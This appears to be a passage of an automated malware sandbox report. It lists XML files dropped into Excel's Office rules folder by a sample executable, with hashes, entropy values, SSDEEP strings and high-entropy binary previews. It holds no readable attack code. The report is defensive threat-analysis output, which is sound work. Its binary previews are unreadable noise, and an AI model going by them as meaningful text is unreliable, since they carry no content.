Preview:	<?xml..V..;.........^IV.{...9..7.".......x...B.(....-....zq&...0\.Q(........m?.9+..;D)....!.mK..O{....a..e.<.Z.........%.ghNI....Q@..?.A/...i.!......s.....I...._.%.,.1..h.K)..P;..r...f6..d.b.."`L...<.[.S...,.G..H......(.4G..[jY`...&7./qK..CT.I..0.....G...x.....Y......u.5...x........R..d...x.y.....o(AQ.8...%?.....q.GGOq....FP............q.4....&..........V..M."....e...V;"...Y..Vy"..U.r.]..V...s...:..-..l:.\|......P...o.J.x.+..e/...b..Z.Y.JW..<..p....y+:)..(\|...:.}..<..Q.....eY.SO.6...%..Y".:.Fw?.y.7_...k.-....5,.7.\|b.7...<y}..E]....V.....f.!..?._.......M.b......Z6.R.......z..in.E.............3.Pg.;hd.g..+XV.,z^..M..o.JX...~.0v......^....g+.w.\.....-v..i..{.+..M>Z1...;......;.6.n.Jg)\|.g....<i..........\|}LTt...s......3]...l.sX.....-.:..+..........pRa.N.\..].Z..-.OS.3.<..1.B]?...../......Z+.>K>.).pi.......K..5<ot.c......9.t....*`.....0..7...._./...\h.nY...+.d)..!.......\|.;Y..V....h.h.YB.3...oMC.=L..}3.N.l.&A.S5..9@.....j!J.P.h]C.A.R.w).-<...8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63069v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2126
Entropy (8bit):	7.924531194652509
Encrypted:	false
SSDEEP:	48:smZbZmUloWFVZxgrVfqkEmYfTNtGtdrorxMvkV791bLrfiWiD:smZbZmUpFVKQpMdrruPffiJ
MD5:	2B6343EB5030474FA8AC3D669CA794DB
SHA1:	A021644D301E455C8C583315656E1136C074E19C
SHA-256:	4DA682DD1F3AA3630C9698F267B0F8DF4094FEADB77C51073B4A622C8F2887AB
SHA-512:	0BBF69D352AF59B51D3C4FCBAF2AD10F7780AB1A2AE44E1D0894CA76294E6B17C49F97DF338BE53747E625D623368779E3123A1C00F08BB9B517C67B962073AC
Malicious:	false
Preview:	<?xml.o.-.Z.~a..".?.k.A.7...V..a.=...............z.':N..:......).S.g...#..I/....jZ.=....!.I............m.....,..m..B.......-....z..f...g.y.Y..!.p.6.X>l...%.AN....D.....f.\.[g.....b...W.Y+....s.\|.........jY_.....Rg=k...\|AJ..\.D........'..%A...dK.........x..C..C...We-...h..,...;.......UG.../M...)rg.<..Te-.....<..U..sO...1.(..4".q..Tr...p............&.Y.&.uD...Y...a.Q0.3S.^.%.t...z.LP..$.5"....a...a2j.4...7s...h...hF.)mCR.=..=................6.X.....f..Cz....oq....bl.Q:...t...m.E........m...q..;q..G..=5....M$G........a.?A..[..I`.b.Q ^g.g.....e.}R....\.V.n..}...+.......9.%.\|q...PUo...6+Q7.^..}&(.X.....b.s..........A._.......8..?.#...K../.>L..cZ24.MI.#.)b.S........;...'..8..A.J?jF...@...@..uG.-..(..Bc......o......rnY.....?FGc....Jp;...W>>....".lBa.<B."....A...^.......8.:..Z.K..c.5.(2........t..d.P,....M.2',=.<...z...w".r0..K.....7.@..64.pg.....=.V.m.u...(...\l1@...k......>.`..P. ..9..u..Q.....m..........!../M....M..&..O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63070v5.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.829969854872393
Encrypted:	false
SSDEEP:	24:ZW1d6p/L2mA1U2XvX+CUPLLiLF7vgC/Naxh8CkX1bt44hpQE2BAiHZgrsHxHiTkX:EOp/KmOvkulvgC/NQORNt4wpQDWi5grA
MD5:	4D5C344D4698183CE52EFE78A9D79E4C
SHA1:	84D4CA318903EDDC9A4DC2B2A2DE6B5C2E38FE2B
SHA-256:	397670C3A9FDFEAAD419C1EFA6546019B80BC0565050D0F08CE664D663EC880C
SHA-512:	D4678E276D148A1DF253FD25CC5A7C6F989BBE847334078FA1211D6302B37A7E30A3C2615E8B662CFE8A8300EA2838B5BDF69DB00724FC5B10A85F2D657315B8
Malicious:	false
Preview:	<?xml...7..C+..Q.]}..jj.~...x.7W.1jQ..z.d.&.K.^$.K......'.a8.....a.v...w.....)W..k..I...@.8..p.#6..Q.....2U.!Q........Q.X..a...r.....x..g...0{o...f..:5.....k..~...qj.?u"kK.3L........W..nt...!...-.a,e........5.ju......>c..n..^^.C.zB.PxP....$...z..^.,.o.`[.J..s......T9h.5.<.U..P?...![..y.t..m.A......o;...j.voj.5.M&>1.8..jJB.i.9.%...)........`.."..b....F..,!.O..y....vI..H..2...5{.t.....H.f.C......]..g.....Vz..:....scq+..'..x<....0#..w3X...DP.+.[L...h..c.)+..}.).&v.i......4.U.\..(.X.cVH.....VU.c..5....TYwc./......@`..}..}.......9.].."......5...'.8.M#.x^5R...UW..f.G@6..+.p....bG.K...W.......R!.yJ.u.o...d..=.\su..(..ES....m.lZP.b.5.F..4$U...2CjF..g._..0...u%2.8......fq.x...[.-.H..S..(......<...l1^......F..$.L.270..H.\..X..9.@.W.......f...Ma .].M.7...) ..m....]}......`.l..{..f.^...0wF=&...L+.A{.U5.......@R...)./.W.C..r8.'V:..2......(..L..,&..=..x^s^"..A.&:k..Da.b....]_../..E....r..h....7Q.M....v.V.6KF......:..o...kN.o...+..B2.*z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63071v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.691522068911211
Encrypted:	false
SSDEEP:	12:QeskxKcbWS5pidZ2hiMHlBOixAa3lsUw+jUwRlsd0JOkZZ2+Xr4amixpZacii9a:fskBL5piyhi69AnpT82ZamiTkbD
MD5:	DEC9EC921BC2C0233E7FF774CFC9372B
SHA1:	CC5C51DD0CEA92368A9F1928249602E6EA059CC1
SHA-256:	F71320B93C1BEE5434EE34DD5EC2F975186AECB955B882017BC99E6EF7B02947
SHA-512:	8A2D6A96BF7770325CCB0340E7786E98BB825C4A5816B6957DAACBCD1E65AEC5DE9A816CF21040FA40D33516FAD5219FA23487FAA6E247F8A822EC99C25A3DC8
Malicious:	false
Preview:	<?xml.1p....m:.......s..p.~-.6.....O.."%MOX...Y.b`........>;Y9.....X..Q.:.}\..9,d.>p.76A...d5?..=..%.b.#H..x1...q.2......I.U..kh3W9.3?.v5(.l.V.6..5E.n..6wEW.[B...Ck.......w.x...._&VAG.>q.I...P{-.`.:MUlU_r..z.#.....,..#.A........^..,.a.25t'...`G.K86...[..J.{.\|...&............~....+..VGI.......F..;x...\|C$..a{.^s)......gjV.5...+.W....y.....G_.y..J..W.......`8....,....bU"..-)?Sc.x.i..<.b..L.Bi_...,J....b.k...^$.p......cZ..yc.qS$.WQ..$..JZ.e{.....h..+G.L.<F...=%i.Wn......p.[.8...kZ...]q.V.FR...4..]..N. ..`......f.g...[a.]........C7!.\|....I.........(..G...Fdt'...........7.......h.._.]-D......].'..4...<.dxA.3..`Ec..}]...?.F..=.l....NId..s...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63077v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1399
Entropy (8bit):	7.84858928277719
Encrypted:	false
SSDEEP:	24:5dIpLPzpocsXI/yF1AelzBfIYpBM2fDpSzY0ioWW/zicm9Hr+IQwVMeR7CiTkbD:vIlbjsXCJUptai/fr+IQwJB3iD
MD5:	F1D171257E05FCB66E996172401F517D
SHA1:	36F53228F8140B126DCA827EA9B8D6F68436AF02
SHA-256:	EAE19FE32B381A9E96DA743DC1A5BF517B4EF7BADA31FD22F02700BAC21D3486
SHA-512:	4773DC45C1B00F2082702E72B526AA30362D6EEC95F3B711D544CAD08C1FBF5F9147CFDDF3FEE66E8DEB88A23E5C2FFEFA468930EAF21B257BC09E344F00E9B2
Malicious:	false
Preview:	<?xmlt..0..\.e.X.J.h...i..f...spB.p....do..2..\|...8..F..L..'./.SG.OZ..&...U.....(..v.....z.....g.(..%7...c`g......Q].......G..%.......&RY:m.[...3.Imh.....M....^w.3B.:B.U.......{..F...].._sQ..jYq.4H..v.z..J.gl......r.....]}'.]o.ZK.bx%`r.6W.....(...<..]C......8eW...p.w.5..\|..l9.3O3...,.58...........w5E.j.rv.;.[GZg....}cI+D....H=....]...Mt..j..R`....I.PR.(].S@.....05..`...<.e0..u\|..v...d.....M..6..W....CM.Y:..Z.. ..x.l.V....C......}..C5.W..W=.h.7....i...Jd.J.....y.yrB..v.9r..`..@..?..v`..:.C...A,5.B..J.f....$.KAuC...x..~Z...^.....".#}RX.c....[..]..9...4.N.V.5../...{.......E.v.2&..f.<..K.....N.X....x.q"...~.a...yo.....E....WZD\.....aa......,.l(:.m..CwunYl.V...I..v.MK.e_@Y....\c.N....b.;.I..Z(3Vt...c.....x..'3....^0...,.._/.M..t.T\|.\|{..QF.+:..2.\....y....7..<.}.S..j.J$I.\|J..@.c...\|......q.C#..]i..\.....Y..+..j..>..G.l.r.1..i....g.L..$.Q.1...R.^?.........1ICJ1.2X..[..\|f....%]....B....HN.LX3...V4.c....F@.....}(.3......,..."..S.m.K'.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63078v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	708
Entropy (8bit):	7.67876117332719
Encrypted:	false
SSDEEP:	12:0bretDOf83GUY4S+1w/qVyrvRBT3dUnbWtPVZk558lQUQbSpFHBc0j1XtSWAVixU:ore1OUyLiVyjRBT3dgWVg5ClbvHB93k1
MD5:	F3BB17AB5C6FD2F0EA0FE1A789B4817F
SHA1:	69F807BC94711DEDA6F6399D9337D4E965C89C46
SHA-256:	7332479034878F3DBC31A916974B772F19D4B9CCD8F2AC3CB32CED0A541EDEE5
SHA-512:	288ABDDF8D5DF3FF0C4548766C1872E86077E0F6C4357CDECF760D3C6A58CECCACB4A1800C76FB14E1DB82AA8C0B8869F61CFBCF3388F042F4B0D854097C39CA
Malicious:	false
Preview:	<?xmlIC..h.._:......>...E...U.Z<9.....W?4M.....b.fb.^Cc.......Z'....]]...&.e..)Hi.'J.K..O..z..../;h....[:.....`...wX.N...O&MP.\q........S......f..~ .\'.......~../....8."..v.#.....x.<.h..Bc....F6......K.e....K.WX....@...[..i......}....PE.....K..g..X..0..Dwqx......O.%C.....Fn....&IzK;.3.1w..VP...M.......5..T...X.X.s..%.-.6....T..U......?..TOw.n5..&..;..E5...@.....>^].\:&..2.....L..>...o:.H.........l...7.<..#...X..i.....:.;.*q...B~f.A.. .............d...n>8..q..$.(.;../mB..n...A...........kT..f.10....fJ....+>.q.......H C....Y..XEV-W....J.....@.n.luF[/.:n..j.G.[.N..g12^......p.E.a...(_v.....3r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65136v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	7.806338522697726
Encrypted:	false
SSDEEP:	24:ZHfZfJ3wU1v8J/lK04wJlX6geX9RBTajwSDWjiTkbD:ZHfZtNg/lowJlX6VnYb6WiD
MD5:	5E4B4FDAF7FEA11BF62D548DD39C4DE7
SHA1:	9D65C29251BF5E0F6E90E5C4BF28353A09C17E9E
SHA-256:	86092A782D87812231B9F7E698D5C88D9BE45645C887C409A8FF0C0CF1D08879
SHA-512:	57223E4CA73305FC66A520B87B8CDB0D29386A1CE4565A1BF4837AECAAA135953929889791185EEFBE90AC347B41FEA6FFFAA23DA4266FB8B37AA05FD2ABB675
Malicious:	false
Preview:	<?xml.&..L.3.....c.....b..._.........TR..L.R.../K.Z8....K./..".i.y9C.......$&anm....$\|....v._}.Eq..D.Q..0IC.........:.9....!....y.f.....b......Z.V.Zl4.u?...[.f..v9.c....i.>'=i....M?.L..x7....:.X...............$....h..R...8...:^.ET....\|x.......:...0L....i.b\|......K.:..b...$#a......qvhw...g.I2.p...]....oC..?l...Z....$....6.#..Y.........).......v....6;.y....B&....U@...M..Y...l....?&...Ow.lB.s.`.E.."u..`q..'...L.b$>g..:...v.MX.............D Y9zd....0#+/...T..I...u.......6YT..\@s(.I..v.vf..sQ..".....x.0i...Y....~x..(..\..9..S.....>.R~-x",t....g.......O...+s..L.....m..E......Z...)..Y.S.h..8.W....%w.A.:4...QQ.d............n.c~....AzH..`-<....~Z..t.n@........y.'.H.%.....s..%&A......9..e.f....C...#.......8.yA..}..9.5....3f9A...v=>..q...z..-h.36.~.).$....\|..1..\'.R)E........>P.m.e.r?.......5J.u.n(x...g.\..)p...n..pm...O.14....=.x./.?....i/.(./5\|.iT. ...V..5(.AsW.8;.q}....E..0*.......&#.1&.....XSr...5..8..d..i.).1..Z..._ .y...</...Z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65137v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.729951256400307
Encrypted:	false
SSDEEP:	12:jJNW1mzDiPXjiL4Iz1QdwOLqFF9xmG9T4X4WOPWrdYdGEGqNeiExspS8QKfc6ii5:dNWQGicwO2FE6vmdiGqsswuniTkbD
MD5:	32A09B04E3C78AE20EBCDC086118F177
SHA1:	5C7BA42A19C76C4073BB022A900CB54BCE4716DA
SHA-256:	3E9DF2BE8BCBCF3AC87A8AD8545F804670AC6BE6F17C1EB70BACC31F822D1F73
SHA-512:	662B432554A311748005723EA484BC4AAD0F09285CC708F06143CBEEF123D16A6A5C3B9B239A9A959E1B5CFBD66BA0C573D98DBC15F1AA651F72A47EEFE72162
Malicious:	false
Preview:	<?xml....s.D.d....3'.......B....j.:..t]i.y..A7........=............f%N...fY1..m.s3.z.K.z......0..2.:.....t.Oo...i.....%....y}...;@zd.[.....^..e;.w$r...3?.%.......@=.@.iM.Ie"......s.i....?.. @.....KLq..)+.<.3.Ve..~.o:=..@+.r.U...pt.jA.[..+._.(S..%"%..M....W~d.=..-&.:7h..F. ....f.6m....V.....@.>5...W".)P............K.&.nA....D<j...\...J. Wy...f.!...D...!..3i.L..).......5p.Y\|..X.t..eV...#J9mj.G.......QT.J....a...........6.....3.+..97.c......,.S...bj....bC......@.2I4X..g..L.%<.&DAP..#...7.[).^ D..8..).P\~.eB.1....M0....>....].t..)....X....}.Q..ha......U......,SMd.?.W[I.@.. .z5..../O.8..........d{...YR..%.Z.\8;...H...+.H.d..Gyn..A..:.r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65138v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	7.8371019217874
Encrypted:	false
SSDEEP:	24:k4aPKeszA0JOniOzN4Z7KOrGpcK648Y4/TyNwumJSaH2iTkbD:6yeMOi84Z79RspzaHziD
MD5:	2F506F7DBEC0D61B684999AAF4BA4F4E
SHA1:	6FC97ADFBD405C029F63A10D74B79AB74A2F34F6
SHA-256:	EF968B793E8AF51A9122D42FFD687FEBD1F3902313560E52AA1B310273416DC9
SHA-512:	9FF0DB451AE0D7141B95F62D87C8B02373567D6587438598AE53EAEF45AEA5B7BBEDB8C22E5F84D55148D2C5DA2AE3177D1CA0907447B3E5BA66AE0112044D7D
Malicious:	false
Preview:	<?xml..w~..NlR&.u..h ...@.rE...9.E.a?..a..p..c....f[.A.p.">.!..j#..b#{.......?,....!V..... _..~........M.H.d8.v.....f.t?...a....bs_`.0.`R.....n.- .\|Td...d..w3,U.....q..Rg[...3<..b+H.....o^+V\|1.$.c..a...x2Ks^..^...Z..O.`F.7.ab.....2.C....Tv.v.X.#vU...s...x.&.....FT...@.u0f...l8.6DP.$\|..c.$O9...I.........;.]Q..9.l....>..... TU...y..nb...w..TGp.WpSQ.7[...........T.Z5.Lo..cI...Z@.R...\..<.q...]WIZ......(.o=..H....3o..DT.A....Y...$.........{&.G.......q].e.....4.4fnXe.G..Qo.....+./.......y...d...F...=.z..:........H..(....CHW.K...s..X....)..wAmM@em......&U.k.Y8.ija...e.}=...N.BM...)..m.."<..7+.........68.]....'...S/.dV.c.....\|."...-....j......u.,s.;[.t.6.(.).a..I.r&!i\|..-I.{...J;...u..<.#.......rc.r.S..(.Z.8.p.m\|i/..1..T...l..<..K06W.Q..%.B.:...$... .........W..Gt.0..2G6q..iw...p......%3/....4...1.6....1>&"B...e.v.e.19.>..?9.D...).:K.o........J.....<e.o.<Qa2.......\|..LB.I.....g.LhB>...[.}.NS?...i....?..Gw1....e..=.C...t.t.0.-.h^..k......?.*..2.S.Uq.q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65139v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	8095
Entropy (8bit):	7.974031281721909
Encrypted:	false
SSDEEP:	192:KZvweEghun79qoXiuG++gJrtUAEGnhKUIBbb9:WvPunZlLG+nqA5KU49
MD5:	23C3F912AD805EA29822CD39E9B67CB4
SHA1:	E9A10B5C28E375ADCCA905F7B0435DD5826FF8D3
SHA-256:	2BB174CBBF12D20F044C626416100749B02DC827897780346711DCD7D76D0C1A
SHA-512:	D867EEBD1608DB9CE71C430EF3A4678926F9FF5DC6B893ED6342D848A64FB91B0045463E2A05481013352870A08382C2637B6A66C7DD8571EF79690BCAA6A1B3
Malicious:	false
Preview:	<?xml#.m'f.uyX.>....q..I..(.........8~.H.d..{.....]D.u..B.......v..A.\|)...g...>.'9P.....S..}....Y.....M.3.&.zz....Rq7..C(../.g....^....".#.~..j......i.....3H7.[.r.l.Ea.T..\|z..zXQ...u.:.U...[...>........F....W.2)2>:]._7LX.,R....;m..q..u..B...>]K^..AW.v..<E.h..y..-Q.\|a"^..~....4...~P.-SF$P..j..g.. ..0Kz[...f.5.N..L...Agb...b!...r..a.{..:...i\|]Y..0.v...R.-.-%.2...[.\..N:..Xa...Cf.4.m..=.p<.m7....EN.+.l...oG...z.i.;)...@a...,.....x...L..f...../..?..../.x....l.=O...>.6.....c..N$.../3..P..^m2$..B.A..y^..1...>.O..qpG.j...hQ.....;.?..=W.._.G..BA.0.f.H...mK....._.ms`...m.>o..F.Y^(...n.J.....L.S3.......I.....ZN\...S.76...,.Z=.....Io.X..8.5.X../...%....mv.-.&.......X/r..w.B..\|.\........f...C..M...u.N.r.}..`2..p.^Z.....w......`..R..L.iYf.1.H..!.=..^.^..j...'5.+tzv....P..g.......Z..w.6I>.eL.v.mD&..#..'.l............x.._...1....%..6~N...Y.'.(#c. ..?p.S;........`.....`_..\|.&0.[{.b.x.M.5.).a..*.....[...k.X'd.J........3Z..e.....8u...7.,.v..,..u...x;....{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68000v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	7.792245203591774
Encrypted:	false
SSDEEP:	24:MjSWFyn0ccUX81/C8htZZDBKdV9GAPZD9ZVWGZiTkbD:MOW4nzT81/1DZZDBi9GEZ7s1iD
MD5:	E8D1DC55F79D36982AD5D8069049D035
SHA1:	4BA304F4AA78A0C1F2C651D56683B076D31A74A1
SHA-256:	89D37B657B6461317B6579077F74745E98FCEA7F7052908880F7CF82DF996053
SHA-512:	89034BF450D2F8BFA31DFF209F0C85193E176F745B16DF66799BC51461391DA5CCADEFA4C6397134AE7B7A396AEFBC56CAFF16A8794E93A4500D8ECB3B0EF3BD
Malicious:	false
Preview:	<?xml.O..Fb....0s...j....\|$.L..D.....N8...[..MM.;...Ms.?.W..:/..n..m...;..i..Ra......>.....ve..A...0..F..]...9. .`cd..X..EF.....).....97)....3..F.t%..P.i..+.[\...cc.`.N...nc...s...>.,...4..v..D!.T.x.$...Y.....3,....{.t..'H./........\|....I".f....[.9.!..B..Y6.......k.3..d./.y..N. .E.!..[8J..H.g....%....tV".QLV.E8qC....,H.DKU.~g;g;J.o.L<...g6.`.s.D....I.9.AY.Hq..s...`n..".e.mi...s...]....2...4..b3x..t...v..=.!3..m^eg.....n.B.<xZ_.-.].h...?G..$w2.H...Vc..h..f:N...#....N...........Mm.M....?,&..+....V.v.....E..kd@o,..h.ZB........1..WW.&.x.W.....S..Gr.....wb. .M..Z.R.Of.1'....4:..)..W.T....h.......F7..xt.zX.M......4..5.N..;ft....J.gB..._d....j..@.gcbVC....q.1g8.LZ......D...Y.....+....2t.<...G..Bc.s...M.......F..H.0..\|d6.C..D!,.......H. ...p.....=7.t.3.LU...'[....&W...s.f..>...1..uZZ...i..J.1.x...s.......'{.....8..V..<...u..D..r.G.S.dk=R.'..O/..6.....)....{..K..c..M}t.e.b........2z{..*.J0>O..>..p..#zW........0..... ...r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZn

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68001v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	7.771853956538653
Encrypted:	false
SSDEEP:	24:I1E5vABupaQ/8lMtffXZMnktsYmv1JSF2hLaiTkbD:IG5kt4fXZMnktsjtZiD
MD5:	43571BE01BD97AF180B5902D52BB525C
SHA1:	F1E8FC977E0C1257B42E20D8F874399827493A57
SHA-256:	CE4522A70F723B82C53389D7DFC9ABF34EB6BEBA0601BD5FF69FC6699CE7F190
SHA-512:	19B0DEAB179705421FE317A3F92A46F038B2CD0987309C04BD86183BB21CE33A68819A5FE2206623F7C7D9DD6764C6D71F92EDAF9832AEE4CF85A049877FE34F
Malicious:	false
Preview:	<?xml,k.=.=CJ..Uf..J .z`[....7k....h..L...2......d..$Iy.\dGy.GA...`.%.......1..;...-~.VF.B@V.\HO.7.!?.h7..Ekhy...M.%."s.....\.U.....w\?.K.....yi...J...?8....hS..-..4.[/9=......K.Z.=.9.B..f.a._........C.i.R(..G3.^..2.g#..."9+U..1Dy.`...?.....l.g)Pw..mv.8B..%R..J...j\......).)LW.O%(U1n....].>.$g...V..Ia...c...Vp=.......Q.Ow..C.....).........WS#.?..C...j.[.jL.u,+SN....H..T..q...Qj..U.U......(g..7...\.k.I...P.x5....#Q..R...:1.7..0R.W.n5...Z......h...s..;...trp.@2...4.=..m............+?....Pa..=\.Q..@9[....[..L.<....6..Hc...`....^.{.Xl.` ....h.......X............5..YJ.io.7..d..-w3.H........u...B.x..E.....9$.KQY...y:..bW.....P......z.jW.....M.7.>...R.i....R..D....\Zz....=.m.....8...o._B...).S+..b.o-..cm>.yT.}...}b.^..h...Oy../.U..)../..s..R$Bn....b...}.../a.FpgJ..v~.e0.[..)l..a{^..9......X..."..Z-U..D2p..nG?<.[.f.U.m...`....#~....C..z..ep..\..R....t.w}..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4D

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68002v11.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2980
Entropy (8bit):	7.93757789837728
Encrypted:	false
SSDEEP:	48:1WwOF1fFk8r9PP/QTzpLCpX0YxPDV6pxxJOtAwaE9n7yhNiaiD:1WB7fFTP/QXpXWDMHitAwhJGhy
MD5:	D563872E8B457DC41CFA0425A5C4FF6E
SHA1:	762DA2F7C1D831C48F7C9AC8654BF8B32C59AE16
SHA-256:	22C07F598D54170959281B8BE906EC1EE14292ABBF231AC9D351091820D88366
SHA-512:	8B69B75C71F2755F13F340009EA0AC55E67DE815A658AE0102ABF47FB51AABEC1E355191B6D06BDF8B7220270C3BF8C14FFB72AEF328A0089B9CA4CC3698ED94
Malicious:	false
Preview:	<?xml..'....F.k9...Nu-..u.z...[p.~X=.../.z.3..O........4.7vnv....F.....f....t.S.j.....&."tq...P.'.....Iv..n...2.9.G...&.Ya.,1.........y......V=.k.B#.d........\.....O........&9........K.{.....W..:...Tq....8...NR<kj%...f..68.c.......8..'0i!B8!k.!.....lF....Rh'?...t.)..?.g.(IV..&...he$.S.E..JhX.P.,.t...Aa.9......Fr.H....y.-....I..}..'..X!.9`.......}xJ..\w=-\.9..F..P....^.Y.K.4y..........OP...>..X.7....p^./...P(.....&C.)I:.+.K15...fs6...a].u.+...Lg\|BY....Q.vS.4...,.X.Z.#.O.Na.. +....h...&.....%..r.0.'.u5.f.....d...k.M..ugUN#..<".<./...C(g.+@2^.bj_/m......J....`'...'m....V..k.:.).....a..1.3...oi..o.j.....}.vq....x.$..x....l..gR.3..F..EB............)...;'..vzJ.J.4e..oyX/`w.. :.C.9.l.y.gW..,L.P.I...,..%U..]T..L..C..s.Q~u. ..{.........F....Y..X:.L.g....y...a.~.>...PT"X...z.^.9...x..b......K..sR...k......X.{.Z.qM...T.'.....K...dp..w.w^.fM...a..D...'.....V........Rr+..\..N'.Y.iz.Gs."......B./.....elw..2e;."...[.....u.....2......Qd7`%t..'...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68003v12.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	7.930915795721627
Encrypted:	false
SSDEEP:	48:xaSl1cEDEaR2wJxoSmnHLQ1ZqfTe6IZCF3DJ7htl5FZhWXW3miD:xVjANAxo7nHLQ6e6IZCF3DJrzhCi
MD5:	DA6841A4590977EE4593779DFA02F278
SHA1:	60B40466ADE17512A49F8F51244273BEC99FE79E
SHA-256:	17E5F48D382FD69474782AE6BA31B677E96A105B2A6C20A036E311EFB78D8B54
SHA-512:	EAC968F4DAFAE8C1063425FFAB706A3C2217596EB149EB9059D66E10A729A5BEA92CAC2CA94036341C66B208EA6413EAAD8034D7AD385E88266344A86A89FD6C
Malicious:	false
Preview:	<?xml...r...d......sq{..j....B....su;..<.t.L.Q&.R.t.{q\|g\|.q....g}..R......o.I..)L1.....U...:./n.uY.z..T.....X.N.0...$.....hUQZ.fa.9#.....l=.:V.#"..1.......^..\..W8I..Ov.'.2.5!.....Yan..;.&z+...D.?B..k.....c.H ..~mH..O...5.R.......6.j1_1.8(.4.J..5...(..}....aU.....e..r&..GNeFI.. .2..-..;VF.'dHD....~.e}..$.D..P.....[..A.........Dp.%8...k:j.c.)]..U....@IN.NX.....a\.\|.....IA..0..U.x!.m.P.a..JGO...0.....Pw..wT....A. S....i.j....Rl......zDH........./".(..wq.1.N....T....d...\..rR..{...&.l...x=c....'f.g.......x.....)S".1......Q.J^...n.\S}...........SB.~.FM"J&.D5....L..W..F.2.~.....q...8(}b(....!s/...f.l)..d,......W....G...y..#......?ZR...P..w}.EeL.4)8.[.y....eg..[.B.....N.t.N...Vk...s.K...FJ.P..1...YD....k.l..m..H.d..u.....\.).x.T.9w.rH..B.,c.w...+t<R^r/7..G....2._...CzY+.$.^.....S.......y.....6.Z.].uf%.....^"F.qb..J.m....R>A...Z.9.#g.FTy.,..L..H........!.O...[Q....x1&..r.y......C.S.OB........b.@b#...3D....i#.l....:.+.u.z.V.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68004v16.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	2762
Entropy (8bit):	7.936827783137988
Encrypted:	false
SSDEEP:	48:hDXRt5NfbToM27BJp4XnDVF4xXpTqirkOwEHyULTEBD9ITEPp72QfaVG4G+QiD:ZLrfbToM27psZF6hPwAz/uIQx2JVF
MD5:	1BB2BF2CFB216E01C18F2895C2FF8732
SHA1:	7982684F83CB9ED669239CFB23FA9A058D0D059B
SHA-256:	7C608B19EBB0B6E02165685606D7F662A43C17B59058E38960AB4AD063B9E170
SHA-512:	DC6234D93D8892A38E7FDEF417A7D2E3F970800E7BDC06BB45F030F1F8DD3372D228C31745A2F035E2B19A57D1CD9D08D5F67A1A81F6C7F6EFE899AED39EB9AD
Malicious:	false
Preview:	<?xmlB...R.Q0.-..v.b......8....x~A...)LK.W.(.7.FBi.2l...a3.6....?..[..] <c...Za..Ap.....n..1..hLG..\|..........Q......r.%.cp.~....;..S5x..{.26x ..M.........\|\|,?..?..8wo .....<...[...w-..h.gmb..'...~H.............[....S.k.%".....OK...R^.7..."....a.......,..fgF..rzsU........1...9..DcgR..AU0..'...3..\|.iu..6...E.f...-.v..[.]....f6.@l.....S.f...'........pr%..t...Ui.i.fD.......\|...>..o)...:.d..........Pk...F...&..c....v.9d\3"..Q....xH.r).Sq...8.m.]..6...,2.\]w...@J..5../)N.NP..2......._k..{fc.lIc.M/.7.].0..k).H...,...D..%...V.r.....Y.v....e.\....1...._s...'p.....Sq.......X.r.!....I....<Z3.o....'....1emFz.3..P4....6...,...e..2..7..1C=e$D..".^.I....}1X...?w.COp..].... 